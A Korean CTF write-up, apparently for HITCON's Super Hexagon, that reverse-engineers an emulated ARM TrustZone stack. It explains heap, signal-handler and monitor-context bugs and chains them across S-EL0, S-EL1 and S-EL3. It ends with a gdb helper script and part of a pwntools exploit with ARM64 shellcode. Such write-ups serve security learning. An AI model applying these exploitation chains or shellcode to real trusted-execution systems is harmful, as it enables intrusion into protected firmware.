uVar1 = FUN_0800019c(&trans_table_lvl2 + lvl1_idx * 0x1000);
*(uint *)(&trans_table_lvl1 + lvl1_idx * 8) = uVar1 | 3;
FUN_08001944(&trans_table_lvl2 + lvl1_idx * 0x1000,0,0x1000);
}
iVar2 = ((addr >> 0xc & 0x1ff) + lvl1_idx * 0x200) * 8;
*(uint *)(&trans_table_lvl2 + iVar2) = local_30 | phys_addr;
*(uint *)(iVar2 + 0x8005004) = uStack_2c;
...
읽었던 메뉴얼이랑 세부 사항이 다른 것같아서 리버싱한 결과대로 구현했다.
빠르게 구현하는데 초점을 맞춰서 구현이 제대로 되었는지는 잘 모르겠다.
기존에 미리 작성했던 secure world의 물리 메모리를 읽는 스크립트를 같이 활용해서 구현했다.
Exception vector tables를 포함한 text 부분이 PL1에서도 Read-Only 인 것을 보니 구현이 틀리지는 않았을 것 같다.
Reverse engineering S-EL1
VBAR은 0xe400000 이다.
...
coprocessor_moveto2(0xf,0,DAT_00001798 + (0x16a0 - DAT_000017a8),0,in_cr2);
coprocessor_moveto2(0xf,1,0,0,in_cr2);
coprocessor_moveto(0xf,0,0,0xff440400,in_cr10,in_cr2);
coproc_moveto_Translation_table_control(0x80802504);
coproc_moveto_Domain_Access_Control(DAT_000017ac);
...
이런 괴랄한 코드는 어떻게 읽는지 모르겠어서 메뉴얼을 다시 읽었다.
mcrr은 register 두 개를 쓰는거라 64-bit 시스템 레지스터에 쓴다고 한다.
이런식의 인코딩 차이가 있다.
드디어 CRm만 가지고 어떻게 표를 보는지 알게 되었다.
bios.bin을 FEFFFFEA로 패치해서 무한루프를 만들어서 원하는 곳을 디버깅할 수 있다.
Normal world에 대한 디버깅 능력을 상실했으니 무조건 secure world에서 멈춰야한다.
디버거가 시스템 레지스터를 제대로 표현하지 못한다.
...
/* TTBR0 */
coprocessor_moveto2(0xf,0,DAT_0e401798 + (0xe4016a0 - DAT_0e4017a8),0,in_cr2);
/* TTBR1 */
coprocessor_moveto2(0xf,1,0,0,in_cr2);
coprocessor_moveto(0xf,0,0,0xff440400,in_cr10,in_cr2);
/* TTBCR */
coproc_moveto_Translation_table_control(0x80802504);
/* DACR */
coproc_moveto_Domain_Access_Control(DAT_0e4017ac);
/* VBAR */
coprocessor_moveto(0xf,0,0,LONG_0e4017b0,in_cr12,in_cr0);
uVar1 = coproc_movefrom_Control();
/* enable mmu */
coproc_moveto_Control(uVar1 | 1);
...
천천히 보니 어떤 행동을 하고 있는지 알 것 같다.
생각보다 변환 단계가 그리 많지 않아서 직접 손으로 해도 충분하다.
VBAR는 VA 0x8000040 이지만, PA로 변환해보면 0xe400040이다.
cps로 다시 supervisor mode로 변경해서 마저 TEE os initialization을 수행한다.
이후 다시 VBAR을 정상적으로 세팅해준다.
0e401754 10 0f 01 ee mcr p15,0x0 ,r0,cr1 ,cr0 ,0x0
0e401758 58 d0 9f e5 ldr sp,[DAT_0e4017b8 ] = 08087000h
0e40175c 3f fa ff fa blx FUN_0e400060 undefined FUN_0e400060()
0e401760 13 00 02 f1 cps #19
0e401764 50 d0 9f e5 ldr sp,[DAT_0e4017bc ] = 08085000h
0e401768 50 00 9f e5 ldr r0,[DAT_0e4017c0 ] = 10000000h
thumb로 모드를 변경한다.
08001780 3c 10 9f e5 ldr r1,[DAT_080017c4 ] = 08000000h
08001784 02 00 00 e3 movw r0,#0x2
08001788 00 03 48 e3 movt r0,#0x8300
0800178c 70 00 60 e1 smc 0x0
그리고 다시 smc를 불러서 secure monitor로 돌아간다.
의사코드만 읽다가 위 어셈블리 스니펫을 놓쳤었는데, 이거 때문에 하루종일 삽질했다.
다시 secure monitor로 돌아가면 r1을 저장하며, TEE OS initialized 문구를 출력한다
EL0에서 TA_Bin을 secure world로 업로드했었는데, 거기를 처리하는 로직을 찾아야한다.
secure monitor 분석 결과를 기반으로 처리 로직은 vector_table + 0x20 를 따라가면 나온다는 것을알고 있다.
entry 부터 쭉 따라가다 보면 바로 원하는 로직을 발견할 수 있다.
여기서 업로드 로직을 확인해야 secure world에서 동작하는 user binary가 어떻게 동작하는지 알 수 있다.
Reversing the binary loader & S-EL0 binary extraction
이후 커스텀 로더를 분석했고 바이너리 포맷을 알아냈다.
non-secure world에서 전달된 바이너리의 무결성은 sha256으로 검증된다.
0x1000 0x1000 (0x684)
0x2000 0x1000 (0xa8)
0x100000 0x82000 (0x81070)
0xff8000 0x8000 (0x8000)
위와 같이 매핑된다.
권한은 직접 만든 secure world에서의 pagewalk 명령어로 확인할 수 있었다.
0x24만큼 헤더가 짤린 S-EL0.bin을 기드라에 로드해서 세그먼트 별로 잘라서 로드해주고 분석하면 된다.
S-EL0, Secure application
...
interrupt_kernel(0xb,0x1001);
if (tci_handle_arg->cmd == 2) {
/* load */
FUN_0000104e(tci_handle_arg);
}
else if (tci_handle_arg->cmd == 3) {
/* store */
FUN_000010f6(tci_handle_arg);
}
...
내부적으로 store 로직에서 custom heap allocator를 이용한다.
Vulnerability
uint32_t * malloc(uint sz)
{
...
if ((int)is_heap_initialized < 0) {
FUN_000012c2();
}
cur_chunk = Arena.chunk_ptr;
/* size normalization */
if (sz + 0x1f < 0x20) {
size = 0x20;
}
else {
size = sz + 0x1f & 0xfffffff0;
}
if (size < 0x40000) {
for (iter_chunk = (Arena.freelist)->fd; iter_chunk != Arena.freelist;
iter_chunk = iter_chunk->fd) {
FD = iter_chunk->fd;
BK = (freed_chunk *)iter_chunk->bk;
cur_sz = iter_chunk->size & 0xfffffffc;
if (size <= cur_sz) {
BK->fd = FD;
FD->bk = (uint32_t)BK;
*(uint *)((int)&iter_chunk->size + cur_sz) = *(uint *)((int)&iter_chunk->size + cur_sz) | 1;
/* prev inuse bit set */
return &iter_chunk->bk;
}
}
cur_sz = (Arena.chunk_ptr)->sz & 0xfffffffc;
if (size + 0x20 <= cur_sz) {
next_chunk = (chunk *)((int)&(Arena.chunk_ptr)->fd_const0 + size);
cur_sz_addr = &(Arena.chunk_ptr)->sz;
Arena.chunk_ptr = next_chunk;
*cur_sz_addr = size | 1;
next_chunk->sz = cur_sz - size | 1;
return &cur_chunk->payload;
}
}
else {
size = size + 0xfff & 0xfffff000;
iVar1 = (chunk *)software_interrupt_2(0,size,0,0,0xffffffff,0);
if (iVar1 != (chunk *)0xffffffff) {
iVar1->sz = size | 2;
return &iVar1->payload;
}
}
/* unlink */
return (uint32_t *)0x0;
}
구조체를 복원하고 분석하다가 integer overflow를 발견했다.
취약점을 트리거하면 size가 너무 커지기에 무조건 SIGSEGV가 난다.
이후 abort exception handler로 진입한다.
void FUN_00001000(undefined4 param_1)
{
...
auStack_1c[0] = (undefined2)s_Secure_DB_access_failed_(SIGSEGV_00002000._32_4_;
pTStack_18 = tci_handle;
tci_handle->cmd = 1;
uStack_44 = param_1;
strcpy(pTVar1->data,&uStack_3c);
uVar3 = 0x104f;
puVar2 = (undefined4 *)FUN_0000166c(0);
pcStack_54 = s_Secure_DB_access_failed_(SIGSEGV_00002000 + 0x20;
...
다시 원래 context로 복원하여 계속 실행되게 된다.
secure world에서의 pagewalk 결과를 보면, 매핑 자체가 PL0에서 RWX 임을 알 수 있다.
다음과 같은 malloc 내부 로직을 이용하여 4 bytes aaw를 달성한다.
...
FD = iter_chunk->fd;
BK = (freed_chunk *)iter_chunk->bk;
cur_sz = iter_chunk->size & 0xfffffffc;
if (size <= cur_sz) {
BK->fd = FD;
FD->bk = (uint32_t)BK;
*(uint *)((int)&iter_chunk->size + cur_sz) = *(uint *)((int)&iter_chunk->size + cur_sz) | 1;
/* prev inuse bit set */
return &iter_chunk->bk;
...
Arena.chunk_ptr을 변조하면 S-EL0의 code segment에 대한 청크 할당이 가능해진다.
이를 이용해 S-EL0의 엔트리를 변조해서 임의 쉘코드 실행을 달성한다.
내부적으로 이미 할당된 청크에 대해서는 free이후 다시 할당해서 reclaim이 가능하다.
freelist에 역순으로 size 더 크게해서 chunk free하고 취약점을 트리거해서 메타데이터를 덮었다.
이후 Arena 구조체의 entry를 4 bytes aaw primitive를 이용해 덮고, freelist에 적합한 size를 초과한 크기를 할당하면 원하는 S-EL0의 .text 영역에 read/write가 가능해진다.
exploit 전략은 다음과 같다.
- chunk 2 1 0 free.
- chunk 0 reclaim → heap overflow.
- chunk 1 할당, 0x100050 fd,bk 작성해서 freelist 순회 끊키 → unlink aaw Arena.chunk_ptr overwrite → .text.
- size를 0x300 정도로 설정해서 next chunk에 write 연산 sigsegv 방지, 돌고 있는 memcpy 코드 수정 방지 & 할당된 청크에 쉘 코드 작성.
- 시스템 레지스터를 읽고 world shared memory에 flag write하고 software interrupt 0를 발생시켜 normal world로 복귀해서 플래그 출력.
취약점 자체는 간단해서 금방 찾았는데 malloc 내부 로직에서 자꾸 꼬여서 익스가 힘들었다.
[*] Paused (press any to continue)
[*] Switching to interactive mode
hitcon{this is flag 3 for EL2}
\x00hitcon{this is flag 4 for S-EL0}[*] Got EOF while reading in interactive
S-EL1, Secure kernel
이제 S-EL1에서 Secure world의 물리 메모리까지 마음대로 수정할 수 있으면 S-EL3를 공격할 수 있다.
실질적으로 Secure world는 EL0&1 regime가 singe VA range 방식을 취하고 있기에 좀 더 구조적으로 취약하다.
S-EL1 자체는 S-EL0 뿐만 아니라 EL2에서도 간접적으로 상호 작용이 가능해 공격 벡터가 될 수 있다.
Vulnerability 1 - Permission bug
Secure physical address에 대한 접근은 제한된다.
그런데 약간의 문제가 발생할 여지가 있다.
권한 설정에 문제가 있다.
...
uVar2 = va >> 0x15 & 0x7f;
uVar3 = va >> 0xc & 0x1ff;
iVar1 = uVar2 * 8;
if ((*(uint *)(&trans_table_lvl1 + iVar1) | *(uint *)(iVar1 + 0x8004004)) == 0) {
local_c = (uVar3 + 1) * 0x1000;
}
else {
iVar1 = (uVar3 + uVar2 * 0x200) * 8;
if ((*(uint *)(&trans_table_lvl2 + iVar1) | *(uint *)(iVar1 + 0x8005004)) != 0) {
...
trans_table_lvl2에 0x200 * 8 을 더해서 접근하는 이유는 lvl2 page table이 연속적이기 때문이었다.
undefined4 FUN_080003da(int param_1,int phys,int sz,undefined4 prop)
{
int iVar1;
int size;
int phys_addr;
int VA;
size = sz;
phys_addr = phys;
VA = param_1;
while( true ) {
if (size == 0) {
return 0;
}
iVar1 = FUN_080001e8(VA,phys_addr,prop);
if (iVar1 == -1) break;
VA = VA + 0x1000;
phys_addr = phys_addr + 0x1000;
size = size + -0x1000;
}
return 0xffffffff;
}
분석한 결과를 토대로 FUN_0800054a은 그냥 할당되지 않은 VA를 리턴하는 함수라는 것을 알 수 있다.
FUN_080003da은 컨트롤 불가능한 Secure VA와 Non-secure PA와 size, 고정된 attribute 값을 인자로 받는다.
+static const MemMapEntry memmap[] = {
+ /* Space up to 0x8000000 is reserved for a boot ROM */
+ [VIRT_FLASH] = { 0, 0x08000000 },
+ [VIRT_CPUPERIPHS] = { 0x08000000, 0x00020000 },
+ [VIRT_UART] = { 0x09000000, 0x00001000 },
+ [VIRT_SECURE_MEM] = { 0x0e000000, 0x01000000 },
+ [VIRT_MEM] = { 0x40000000, RAMLIMIT_BYTES },
+};
integer overflow 버그가 존재하지만 취약점으로 0x0 번지를 할당받아도 최대 사이즈 검증 때문에 절대 FLASH 영역을 벗어날 수 없어 의미가 없다.
write를 하더라도 qemu 에뮬레이터는 실제 환경과 동일하게 FLASH의 read only를 보장한다.
악용할 수 없는 취약점이다.
undefined4 FUN_080001e8(uint addr,uint phys_addr,uint param_3)
{
...
uVar3 = addr >> 0x15 & 0x7f;
if ((*(uint *)(&trans_table_lvl1 + uVar3 * 8) | *(uint *)(uVar3 * 8 + 0x8004004)) == 0) {
uVar1 = FUN_0800019c(&trans_table_lvl2 + uVar3 * 0x1000);
*(uint *)(&trans_table_lvl1 + uVar3 * 8) = uVar1 | 3;
FUN_08001944(&trans_table_lvl2 + uVar3 * 0x1000,0,0x1000);
}
iVar2 = ((addr >> 0xc & 0x1ff) + uVar3 * 0x200) * 8;
*(uint *)(&trans_table_lvl2 + iVar2) = local_30 | phys_addr;
*(uint *)(iVar2 + 0x8005004) = uStack_2c;
...
내부적으로 walk해서 다음과 같이 할당한다.
이때 넘어가는 물리 주소는 비트맵을 통해 관리되며 할당 해제된 상태에선 1로 마스킹된다.
void FUN_080006ba(int phys)
{
...
uVar1 = phys - secure_phys_max >> 17;
if (uVar1 < 0x20) {
v0[uVar1] = v0[uVar1] | 1 << (0x1f - (phys - secure_phys_max >> 12 & 0b00011111) & 0xff);
}
return;
}
2 진수로 보면 편한데, 내부적으로 Secure VA를 PA로 변환하고 0을 대입한다.
그리고 size 만큼 루프돌면서 위 함수를 호출하는데, 이는 v0에 일종의 bitmap 방식으로 freed memory를 마킹한다.
Vulnerability 2 - file upload DOS
...
iVar1 = verify(param_1,param_2);
...
FUN_08001944(*(undefined4 *)(param_1 + 0x14),0,iVar1);
FUN_08001906(*(undefined4 *)(param_1 + 0x14),param_1 + iVar4 + 0x24,
*(undefined4 *)(param_1 + 0x18));
}
if (*(int *)(param_1 + 0x20) != 0) {
FUN_08001944(*(undefined4 *)(param_1 + 0x1c),0,iVar2);
}
FUN_08001944(0xff8000,0,0x8000);
Entry = *(dword *)(param_1 + 8);
tci_handle = (TCI **)(*(int *)(param_1 + 0x20) + *(int *)(param_1 + 0x1c) + -4);
...
업로드 코드의 일부이다.
다른 world이고 translation 방식도 다른데 secure world의 VA를 넘기는게 이상했다.
유효하지 않은 주소를 보내면 DOS가 가능하다.
system call interface도 공격 벡터가 될 수 있으니 다음 software interrupt handler를 분석해야한다.
void FUN_08000a30(void)
{
...
switch(from_text) {
case 0:
FUN_08000918(ctx.r0);
break;
case 1:
local_10 = FUN_08000928(ctx.r0,ctx.r1);
break;
case 2:
local_10 = FUN_08000964(ctx.r0,ctx.r1);
break;
case 3:
local_10 = FUN_080009d6(ctx.r0,ctx.r1);
}
ctx.r0 = local_10;
return;
case 0은 normal world로 복귀할 때 이용한다.
S-EL3에선 ctx.x0에 여기서 Secure application에서 넘긴 리턴 값을 Normal world로 옮긴다.
case 1은 signal handler를 할당한다.
Vulnerability 3 - signal handler
undefined4 FUN_08000928(int r0,uint r1)
{
if ((r1 < 0x2400000) && (r0 == 0xb)) {
_signal_handler = r1;
}
return 0xffffffff;
}
이때 검증이 없어 world shared memory도 signal handler 등록이 가능하다.
FUN_08000964는 이용가능한 VA에 물리 주소를 매핑한다.
case 2, 3은 메모리 매핑 및 언매핑 함수다.
공통적으로 다음 로직이 구현된다.
int FUN_080005ac(void)
{
int iter;
int local_c;
local_c = -1;
iter = 0;
while ((iter < 0x20 && (local_c = FUN_080005a2(v0[iter]), local_c == 32))) {
iter = iter + 1;
}
if (local_c == 0x20) {
local_c = -1;
}
else {
v0[iter] = v0[iter] & ~(1 << (0x1fU - local_c & 0xff));
local_c = local_c + iter * 32;
}
return local_c;
}
Secure VA를 페이지 테이블에서 제거할 때 right shift 17을 했었다.
그냥 비트맵을 확인하고 물리메모리가 비었으면 그 부분을 리턴한다.
2^12랑 곱하면 특정 비트에 해당하는 주소를 계산할 수 있다는 것을 알 수 있다.
int FUN_08000684(void)
{
int iVar1;
iVar1 = FUN_080005ac();
if (iVar1 == -1) {
iVar1 = -1;
}
else {
iVar1 = iVar1 * 0x1000 + secure_phys_max;
}
return iVar1;
}
Secure physical memory에 더해가면서 할당한다.
S-EL1과 S-EL0는 Abort가 발생하면 똑같은 exception handler로 진입한다.
08001588 3c e0 8d e5 str lr,[sp,#param_11 ]
0800158c 00 e0 4f e1 mrs lr,spsr
08001590 40 e0 8d e5 str lr,[sp,#param_12 ]
08001594 13 00 02 f1 cps #19
08001598 8a 00 00 eb bl FUN_080017c8 undefined FUN_080017c8(undefined
0800159c 44 80 9d e5 ldr r8,[sp,#param_13 ]
080015a0 1f 00 02 f1 cps #31
080015a4 08 d0 a0 e1 cpy sp,r8
080015a8 17 00 a0 e3 mov param_1 ,#0x17
080015ac 6b fd ff fb blx FUN_08000b62 undefined FUN_08000b62()
080015b0 b1 00 00 ea b FUN_0800187c undefined FUN_0800187c(undefined
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
spsr은 exception 발생시에 mode를 가리킨다.
void FUN_08000ae0(void)
{
if ((_signal_handler & 1) == 0) {
ctx.cpsr = ctx.cpsr & 0b11111111111111111111111111011111;
}
else {
ctx.cpsr = ctx.cpsr | 0b00100000;
}
ctx.pc = _signal_handler;
ctx.r0._0_1_ = 0xb;
ctx.r0._1_1_ = 0;
ctx.r0._2_1_ = 0;
ctx.r0._3_1_ = 0;
return;
}
구조체를 복원했다.
LAB_08001870 XREF[1]: FUN_0800187c:08001888 (j)
08001870 e8 ff ff eb bl FUN_08001818 undefined FUN_08001818(undefined
08001874 3c e0 9d e5 ldr lr,[sp,#0x3c ]
08001878 0e f0 b0 e1 movs pc,lr
movs pc, lr로 핸들러로 돌아간다.
이때 spsr에 대한 mode 체크가 없다는 취약점이 있다.
이 취약점을 악용하기 위해선 S-EL1에서 Access violation 관련 exception을 일으켜야 한다.
Gaining code execution
총 세 가지 취약점을 체이닝하면 임의 코드 실행을 얻을 수 있다.
- World shared memory mapping에 이용되는 메모리 권한 취약점.
- Signal exception handler 구현 취약점.
- Secure world user application upload에서 발생하는 DOS 취약점.
Enhancing the exploitation stability
먼저 S-EL3까지 exploit 하기 위해선 shellcode를 넣을 공간이 필요했다.
기존 익스플로잇은 0x300 크기라서 그 이상가면 런타임에 memcpy가 덮히게 되고, qemu 3.0.0의 버그로 인해 디버깅이 아예 불가능하게 된다.
그래서 디버깅시엔 코드가 실행이 안되고, bp를 설정하지 않으면 코드가 실행이 된다.
결론적으로 불안정한 코드로 인해 발생한 버그라서 memcpy 보다 상위에 있는 코드 스니펫을 덮으려 시도했고, 성공적으로 덮었다.
[*] Switching to interactive mode
hitcon{this is flag 3 for EL2}
\x00hitcon{this is flag 5 for S-EL1}[*] Got EOF while reading in interactive
$
[*] Interrupted
Exploit 시나리오 자체는 전과 비슷하다.
똑같이 secure에서 flag를 가져오고, 다시 Normal world로 복귀해서 flag를 출력한다.
S-EL3, Secure monitor
00000fa8 f1 03 00 91 mov x17 ,sp
00000fac bf 41 00 d5 msr PState.SP,#0x1
00000fb0 f1 8b 00 f9 str x17 ,[sp, #param_11 ]
00000fb4 f2 83 40 f9 ldr x18 ,[sp, #SCR_EL3 ]
00000fb8 f0 c7 51 a9 ldp x16 ,x17 ,[sp, #SPSR_EL3 ]
00000fbc 12 11 1e d5 msr scr_el3 ,x18
00000fc0 10 40 1e d5 msr spsr_el3 ,x16
00000fc4 31 40 1e d5 msr elr_el3 ,x17
00000fc8 f5 ff ff 17 b FUN_00000f9c undefined FUN_00000f9c(undefined
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
전에 분석했을 때는 전혀 취약점이 보이지 않았었다.
나중에 다시 보니 쉽게 구조적인 취약점을 발견할 수 있었다.
취약점 상세 내용은 다음과 같다.
Vulnerability
S-EL3의 일부 rw가 필요한 영역은 RAM에 적재된다.
그런데 context switching 시에 보호해야 할 시스템 레지스터들이 RAM에 올라와있다.
이런 구조는 절대 격리가 유지될 수 있는 구조가 아니다.
이미 ram에 대한 모든 제어권을 가지고 있기에 그냥 바꾸기만 하면 된다.
생각해낸 익스플로잇 시나리오는 다음과 같다.
- S-EL1 PTE 조작 → 쉘 코드 작성.
- S-EL1 PTE 조작 → S-EL3 PTE 조작 → 쉘 코드 페이지 매핑.
- S-EL1 PTE 조작 & tlb flush → ctx.pc, ctx.cpsr 변조.
- Secure monitor call → ACE.
여기서 세 번째 스텝이 tlb flush 인데 이건 같은 VA를 다른 PA에 매핑하기 위해 연속적으로 같은 VA에 접근해서 tlb가 캐싱되므로 이를 flush 하기 위해서 이용했다.
qemu는 mmu를 프로세서와 완전 동일하게는 아니여도 범용적인 mmu를 softmmu라는 feature로 mmu 에뮬레이션을 지원하기에 꼭 필요한 스텝이다.
static bool mmu_lookup1(CPUState *cpu, MMULookupPageData *data,
int mmu_idx, MMUAccessType access_type, uintptr_t ra)
{
vaddr addr = data->addr;
uintptr_t index = tlb_index(cpu, mmu_idx, addr);
CPUTLBEntry *entry = tlb_entry(cpu, mmu_idx, addr);
uint64_t tlb_addr = tlb_read_idx(entry, access_type);
bool maybe_resized = false;
CPUTLBEntryFull *full;
int flags;
/* If the TLB entry is for a different page, reload and try again. */
if (!tlb_hit(tlb_addr, addr)) {
if (!victim_tlb_hit(cpu, mmu_idx, index, access_type,
addr & TARGET_PAGE_MASK)) {
tlb_fill(cpu, addr, data->size, access_type, mmu_idx, ra);
maybe_resized = true;
index = tlb_index(cpu, mmu_idx, addr);
entry = tlb_entry(cpu, mmu_idx, addr);
}
tlb_addr = tlb_read_idx(entry, access_type) & ~TLB_INVALID_MASK;
}
full = &cpu->neg.tlb.d[mmu_idx].fulltlb[index];
flags = tlb_addr & (TLB_FLAGS_MASK & ~TLB_FORCE_SLOW);
flags |= full->slow_flags[access_type];
data->full = full;
data->flags = flags;
/* Compute haddr speculatively; depending on flags it might be invalid. */
data->haddr = (void *)((uintptr_t)addr + entry->addend);
return maybe_resized;
}
mmu_lookup1 함수에서 hit이면 그냥 저장된 인덱스에 맞춰서 바로 리턴하는 것을 확인할 수 있다.
쉘 코드 길이를 늘리기 위해선 그냥 여기서 fault 내고 더 낮은 exception vector offset으로 뛰면 0xd00 주변으로 뛸 수 있다.
그걸 이용해서 0xd00 주변에 쉘 코드를 배치한다.
\x00hitcon{this is flag 6 for EL3}
\x00hitcon{this is flag 6 for EL3}
\x00hitcon{this is flag 6 for EL3}
\x00$
[*] Interrupted
hitcon{this is flag 6 for EL3}
Appendix
Gdbscript
import gdb
import re
import psutil
import struct
class CPSR(gdb.Command):
def __init__(self):
super(CPSR, self).__init__("cpsr", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
cpsr = (int(gdb.parse_and_eval("$cpsr")))
mode = cpsr & 0b1111
is_thumb = (cpsr >> 4)&1
state = (cpsr >> 4)&1
IRQ = (cpsr >> 5)&1
FIQ = (cpsr >> 6)&1
cond = (cpsr >> 27)&0b1111
re = ''
if not state:
if 0b0000 == mode:
re += 'EL0t' # SP_EL0
elif 0b0100 == mode:
re += 'EL1t' # SP_EL0
elif 0b0101 == mode:
re += 'EL1h' # SP_EL1
elif 0b1000 == mode:
re += 'EL2t' # SP_EL0
elif 0b1001 == mode:
re += 'EL2h' # SP_EL2
elif 0b1100 == mode:
re += 'EL3t' # SP_EL0
elif 0b1101 == mode:
re += 'EL3h' # SP_EL3
else:
re += 'UNK'
else:
if 0b0000 == mode:
re += 'User'
elif 0b0001 == mode:
re += 'FIQ'
elif 0b0010 == mode:
re += 'IRQ'
elif 0b0011 == mode:
re += 'Supervisor'
elif 0b0110 == mode:
re += 'Monitor'
elif 0b0111 == mode:
re += 'Abort'
elif 0b1010 == mode:
re += 'Hyp'
elif 0b1011 == mode:
re += 'Undefined'
elif 0b1111 == mode:
re += 'System'
else:
re += 'UNK'
re += ' | '
if IRQ:
re += 'IRQ_MASKED | '
elif FIQ:
re += 'FIQ_MASKED | '
if is_thumb:
re += 'THUMB_MODE | '
if state:
re += '32-BIT | '
else:
re += '64-BIT | '
re += f'COND_{hex(cond)[2:]}'
print(re)
class SPSR_EL3(gdb.Command):
def __init__(self):
super(SPSR_EL3, self).__init__("spsr_el3", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
spsr = (int(gdb.parse_and_eval("$SPSR_EL3")))
mode = spsr & 0b1111
is_thumb = (spsr >> 4)&1
IRQ = (spsr >> 7)&1
FIQ = (spsr >> 6)&1
cond = (spsr >> 27)&0b11111
state = (spsr >> 4)&1
re = ''
if not state:
if 0b0000 == mode:
re += 'EL0t' # SP_EL0
elif 0b0100 == mode:
re += 'EL1t' # SP_EL0
elif 0b0101 == mode:
re += 'EL1h' # SP_EL1
elif 0b1000 == mode:
re += 'EL2t' # SP_EL0
elif 0b1001 == mode:
re += 'EL2h' # SP_EL2
elif 0b1100 == mode:
re += 'EL3t' # SP_EL0
elif 0b1101 == mode:
re += 'EL3h' # SP_EL3
else:
re += 'UNK'
else:
if 0b0000 == mode:
re += 'User'
elif 0b0001 == mode:
re += 'FIQ'
elif 0b0010 == mode:
re += 'IRQ'
elif 0b0011 == mode:
re += 'Supervisor'
elif 0b0110 == mode:
re += 'Monitor'
elif 0b0111 == mode:
re += 'Abort'
elif 0b1010 == mode:
re += 'Hyp'
elif 0b1011 == mode:
re += 'Undefined'
elif 0b1111 == mode:
re += 'System'
else:
re += 'UNK'
re += ' | '
if IRQ:
re += 'IRQ_MASKED | '
elif FIQ:
re += 'FIQ_MASKED | '
if is_thumb:
re += 'THUMB_MODE | '
if state:
re += '32-BIT | '
else:
re += '64-BIT | '
re += f'COND_{hex(cond)[2:]}'
print(re)
class TCR_EL1(gdb.Command):
def __init__(self):
super(TCR_EL1, self).__init__("tcr_el1", gdb.COMMAND_USER)
def invoke(self, arg, from_tty):
arg = arg.split()
if len(arg) == 1:
tcr = int(arg[0],16)
elif len(arg) == 0:
tcr = int(gdb.parse_and_eval('$TCR_EL1'))
else:
print("usuage: tcr_el1 [value (optional)]")
return
T0SZ = tcr &0b111111
T1SZ = tcr >> 16
T1SZ &= 0b111111
TG1 = int((tcr>> 30) & 0b11)
granule_bits = {0b01: 14, 0b10: 12, 0b11: 16}[TG1]
print("T0:",hex(0),'~',hex(2 ** (64-T0SZ)-1))
print("T1:",hex(0x10000000000000000 - 2 ** (64-T1SZ)),'~',hex(0xffffffffffffffff))
print('granule_bits:',granule_bits)
class QEMU_SUPPORT(gdb.Command):
address_space = {
'cpu-memory-0':{
'system' : {
'hitcon.flash1' : {'start' : 0x000000004000000, 'end' : 0x000000007ffffff},
'pl011' : {'start' : 0x0000000009000000, 'end' : 0x0000000009000fff},
'mach-hitcon.ram' : {'start' : 0x0000000040000000, 'end' : 0x0000000ffffffff},
}
},
'cpu-secure-memory-0': {
'hitcon.flash0' : {'start' : 0x0000000000000000, 'end' : 0x0000000003ffffff},
'system' : {
'hitcon.flash1' : {'start' : 0x000000004000000, 'end' : 0x000000007ffffff},
'pl011' : {'start' : 0x0000000009000000, 'end' : 0x0000000009000fff},
'mach-hitcon.ram' : {'start' : 0x0000000040000000, 'end' : 0x0000000ffffffff},
},
'hitcon.secure-ram' : {'start' : 0x000000000e000000, 'end' : 0x000000000effffff}
}
} # monitor info mtree
@staticmethod
def get_remote_pid(proc_name):
pids = []
for process in psutil.process_iter():
if proc_name in process.name():
pids.append(process.pid)
if len(pids) != 1:
return False
return pids[0]
def __init__(self):
super(QEMU_SUPPORT, self).__init__("qemu_support", gdb.COMMAND_USER)
pid = self.get_remote_pid('qemu-system-aarch64')
if pid != False:
self.pid = pid
def read_memory(self, addr, length):
gdb.selected_inferior().read_memory(addr, length).tobytes()
def find_region_recursive(self, addr):
def find_region_step(obj, key):
assert type(obj) == type({})
if 'start' in obj and 'end' in obj:
if addr >= obj['start'] and addr <= obj['end']:
return key
else:
return False
else:
for i in obj:
if find_region_step(obj[i], i) != False:
return i
return False
return (find_region_step(QEMU_SUPPORT.address_space, ''))
def read_phys(self, addr, length):
def slow_path():
ret = gdb.execute(f"monitor gpa2hva {addr}", to_string=True)
r = re.search("is (0x[0-9a-f]+)", ret)
if r:
host_va = int(r.group(1),16)
with open(f'/proc/{self.pid}/mem','rb') as f:
f.seek(host_va)
data = f.read(length)
return data
else:
print('Err read_phys() -> slow_path()')
def fast_path():
gdb.execute(f'monitor xp/{length//8}xg {addr}')
return True
reg = self.find_region_recursive(addr) # secure mem or non-secure?
if reg == 'cpu-secure-memory-0':
return slow_path()
elif reg == 'cpu-memory-0':
return fast_path()
else:
print("Err find_region_recursive()",reg)
return
# secure world can access non-secure mem as well as secure mem.
def invoke(self, arg, from_tty):
arg = arg.split()
if len(arg) > 0:
if arg[0] == 'read_phys':
if len(arg) > 2:
if arg[1].startswith('0x'):
addr = int(arg[1],16)
else:
addr = int(arg[1],10)
if arg[2].startswith('0x'):
length = int(arg[2],16)
else:
length = int(arg[2],10)
data = self.read_phys(addr, length*8)
if data != True:
self.qword_dump(data, addr,length)
else:
print("invalid args")
@staticmethod
def qword_dump(data, addr, length):
for i in range(length):
if i%2==0:
ad = hex(addr + i*0x8)[2:].rjust(16,'0')
print(f'{ad}',end=': ')
a = hex(struct.unpack("<Q", data[8*i:8*i+8])[0])[2:].rjust(16,'0')
print(f"0x{a}",end = ' ')
if i%2==1:
print()
if (length-1)%2==0:
print()
QEMU_SUPPORT()
TCR_EL1()
CPSR()
SPSR_EL3()
Exploit code (S-SEL3)
from pwn import *
from keystone import *
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
context.binary = e = ELF('./super_hexagon/share/_bios.bin.extracted/BC010')
ks = Ks(KS_ARCH_ARM64,KS_MODE_LITTLE_ENDIAN)
sc_st = 0x7ffeffffd006
shellcode = b''
shellcode += bytes(ks.asm(f'''\
mov x5, #-1
mov w4, #0x0
mov w3, #0x0
mov w2, #3
mov x1, #0x1000
mov x0, #0x0
mov x8, #0xde
svc #0x1337
mov x11, x0
mov w9, #0x0
loop:
add x1, x11, x9
mov x8, #0x3f
mov x0, #0
mov x2, #0x1
svc #0x1337
add w9, w9, #1
cmp x9, #0x1000
bne loop
mov x0, x11
mov x1, #0x1000
mov x2, #5
mov x8, #0xe2
svc #0x1337
blr x11
''')[0])
assert b'\r' not in shellcode and b'\x0a' not in shellcode
p = remote('localhost',6666)
# p = process('./local_debug.sh')
# p = process('./local_debug_secure.sh')
payload = b'A' * 0x100
payload += p64(0xdeadbeef)
payload += p64(e.sym.gets) # cmd = 1
sla(b'cmd> ', b'1')
sla(b'index: ', str(0))
sla(b'key: ', payload)
sleep(0.1)
